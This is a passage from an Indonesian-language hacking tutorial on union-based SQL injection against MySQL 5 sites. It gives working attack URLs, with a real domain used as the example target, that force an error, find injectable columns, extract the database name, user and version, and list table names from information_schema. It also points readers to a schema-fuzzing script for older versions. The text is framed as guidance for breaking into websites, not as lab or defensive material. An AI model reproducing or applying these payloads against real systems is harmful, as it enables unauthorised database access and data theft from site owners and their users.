target. Jadi isi data dari kolom id harus diexecute dengan sesuatu yg mengakibatkanhalaman tersebut error. Misalkan:http://www.id.wikipedia.org/index.php?id=-1 union select 1,2,3,4,5– http://www.id.wikipedia.org/index.php?id=null union select 1,2,3,4,5– http://www.id.wikipedia.org/index.php?id=9999 union select 1,2,3,4,5– Dari sini terserah Anda menggunakan query yang mana, yang penting berhasil. Anegunakan salah satunya aja yaitu:http://www.id.wikipedia.org/index.php?id=null union select 1,2,3,4,5– Abrakadabra… keluarlah angka ajaibnya…Misalnya angka ajaib yang keluar adalah angka 3 (angka ajaib yang keluar bisa lebih darisatu), maka di queryyang sebelumnya, kita akan mengganti angka 3 dengan query-query yang lainmencari nama database :http://www.id.wikipedia.org/index.php?id=null union select 1,2,database(),4,5– mencari nama user :http://www.id.wikipedia.org/index.php?id=null union select 1,2,user(),4,5– mencari versi MySQL :http://www.id.wikipedia.org/index.php?id=null union select 1,2,version(),4,5– 5. Mencari Versi MySQLVersi MySQL dapat dicek dengan menggunakan query diatas. Jika hasilnya v.4, penulismenyarankan untuk tidak melanjutkan membaca tutorial ini. Karena dari judulnya sajasudah jelas bahwa ini tutorial untuk v.5. Akan tetapi, jika Anda masih bersikeras untuk menghajar situs tersebut, Anda bisa menggunakan script tools seperti Schemafuzzy.pyatau yang lainnya (script schemafuzzy.py bisa di download di section Downloads). Caramenggunakannya? Tidak akan ada di tutor ini :P . Okey, misalnya setelah query untumencari versi MySQL diexecute, hasilnya menunjukkan bahwa situs tersebutmenggunakan MySQL versi 5, maka silahkan melanjutkan membaca tutorial ini.6. Mencari Nama-nama Tabelhttp://www.id.wikipedia.org/index.php?id=null union select1,2,group_concat(table_name),4,5from information_schema.tables wheretable_schema=database()– Mulai dari langkah inilah perbedaan metode antara MySQL v.4 dan v.5. Seperti yangdijelaskan sebelumnya diatas, bahwa pada v.4, tidak ada database default seperti yang ada pada v.5. Sehingga pada v.4 tidak bisa menggunakan query diatas. Karena kita tidak tahunama databasenya. Sedangkan pada v.5 sudah ada nama database defaultnya yaitu“information_schema”. Sehingga jika ingin mempenetrasi situs yang menggunakanMySQL v.4, attacker harus bisa menebak-nebak nama databasenya. Inilah yangdinamakan Blind SQL Injection.Lanjutkan untuk v.5. Jika query diatas diexecute, maka akan keluar sederetan nama-namatabelnya. Pilih salah satu nama tabel yang mencurigakan, maksudnya disini adalah nama
Leave a Comment